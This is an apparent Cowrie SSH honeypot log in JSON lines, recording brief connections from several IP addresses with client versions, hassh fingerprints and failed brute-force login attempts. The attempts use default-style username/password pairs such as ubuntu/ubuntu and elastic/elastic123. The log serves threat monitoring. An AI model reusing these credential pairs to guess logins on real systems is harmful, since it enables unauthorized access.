{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:34:15.991032Z","src_ip":"112.6.227.209","session":"34b0b3314c5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:34:17.936690Z","src_ip":"112.6.227.209","session":"34b0b3314c5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:34:19.233006Z","src_ip":"112.6.227.209","session":"34b0b3314c5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":42210,"dst_ip":"159.203.135.109","dst_port":22,"session":"d51d7f74fb0e","protocol":"ssh","message":"New connection: 187.210.77.100:42210 (159.203.135.109:22) [session: d51d7f74fb0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:37.454134Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:37.458709Z","src_ip":"187.210.77.100","session":"d51d7f74fb0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:37.644270Z","src_ip":"187.210.77.100","session":"d51d7f74fb0e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"elastic123","message":"login attempt [elastic/elastic123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:38.428075Z","src_ip":"187.210.77.100","session":"d51d7f74fb0e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:39.617025Z","src_ip":"187.210.77.100","session":"d51d7f74fb0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":36746,"dst_ip":"10.17.0.5","dst_port":22,"session":"e611d553465a","protocol":"ssh","message":"New connection: 195.178.110.218:36746 (10.17.0.5:22) [session: e611d553465a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:40.816403Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:40.820579Z","src_ip":"195.178.110.218","session":"e611d553465a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:40.901697Z","src_ip":"195.178.110.218","session":"e611d553465a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"root","message":"login attempt [solana/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:41.145821Z","src_ip":"195.178.110.218","session":"e611d553465a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:36:42.228129Z","src_ip":"195.178.110.218","session":"e611d553465a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":52436,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c1a578ab879","protocol":"ssh","message":"New connection: 2.57.122.96:52436 (159.203.135.109:22) [session: 3c1a578ab879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:17.011306Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:17.016129Z","src_ip":"2.57.122.96","session":"3c1a578ab879","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:17.161064Z","src_ip":"2.57.122.96","session":"3c1a578ab879","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:17.564600Z","src_ip":"2.57.122.96","session":"3c1a578ab879","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:18.682376Z","src_ip":"2.57.122.96","session":"3c1a578ab879","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":52880,"dst_ip":"159.203.135.109","dst_port":22,"session":"6642bfe3dee2","protocol":"ssh","message":"New connection: 165.154.6.49:52880 (159.203.135.109:22) [session: 6642bfe3dee2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:22.381133Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:22.385219Z","src_ip":"165.154.6.49","session":"6642bfe3dee2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:22.597269Z","src_ip":"165.154.6.49","session":"6642bfe3dee2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gits","password":"123","message":"login attempt [gits/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:23.476806Z","src_ip":"165.154.6.49","session":"6642bfe3dee2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:37:24.690331Z","src_ip":"165.154.6.49","session":"6642bfe3dee2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.49","src_port":39980,"dst_ip":"159.203.135.109","dst_port":22,"session":"368d6baf12e5","protocol":"ssh","message":"New connection: 165.154.6.49:39980 (159.203.135.109:22) [session: 368d6baf12e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:18.758569Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:18.763671Z","src_ip":"165.154.6.49","session":"368d6baf12e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:18.984675Z","src_ip":"165.154.6.49","session":"368d6baf12e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"client","password":"12345","message":"login attempt [client/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:19.902933Z","src_ip":"165.154.6.49","session":"368d6baf12e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:21.125345Z","src_ip":"165.154.6.49","session":"368d6baf12e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":39364,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7ebdf711ac","protocol":"ssh","message":"New connection: 195.178.110.218:39364 (10.17.0.5:22) [session: 7b7ebdf711ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:21.569676Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:21.573050Z","src_ip":"195.178.110.218","session":"7b7ebdf711ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:21.651331Z","src_ip":"195.178.110.218","session":"7b7ebdf711ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:21.888283Z","src_ip":"195.178.110.218","session":"7b7ebdf711ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:22.969138Z","src_ip":"195.178.110.218","session":"7b7ebdf711ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.79.207.129","src_port":49533,"dst_ip":"10.17.0.5","dst_port":22,"session":"e639a8f8ba29","protocol":"ssh","message":"New connection: 45.79.207.129:49533 (10.17.0.5:22) [session: e639a8f8ba29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:33.028099Z"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:34.140062Z","src_ip":"45.79.207.129","session":"e639a8f8ba29","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"187.210.77.100","src_port":33900,"dst_ip":"159.203.135.109","dst_port":22,"session":"797437857dba","protocol":"ssh","message":"New connection: 187.210.77.100:33900 (159.203.135.109:22) [session: 797437857dba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:37.574993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:37.579652Z","src_ip":"187.210.77.100","session":"797437857dba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:37.762943Z","src_ip":"187.210.77.100","session":"797437857dba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"12345","message":"login attempt [git/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:38.553765Z","src_ip":"187.210.77.100","session":"797437857dba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:39:39.743087Z","src_ip":"187.210.77.100","session":"797437857dba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.96","src_port":37466,"dst_ip":"159.203.135.109","dst_port":22,"session":"3253ca99bb75","protocol":"ssh","message":"New connection: 2.57.122.96:37466 (159.203.135.109:22) [session: 3253ca99bb75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:40:22.676001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T13:40:22.681417Z","src_ip":"2.57.122.96","session":"3253ca99bb75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 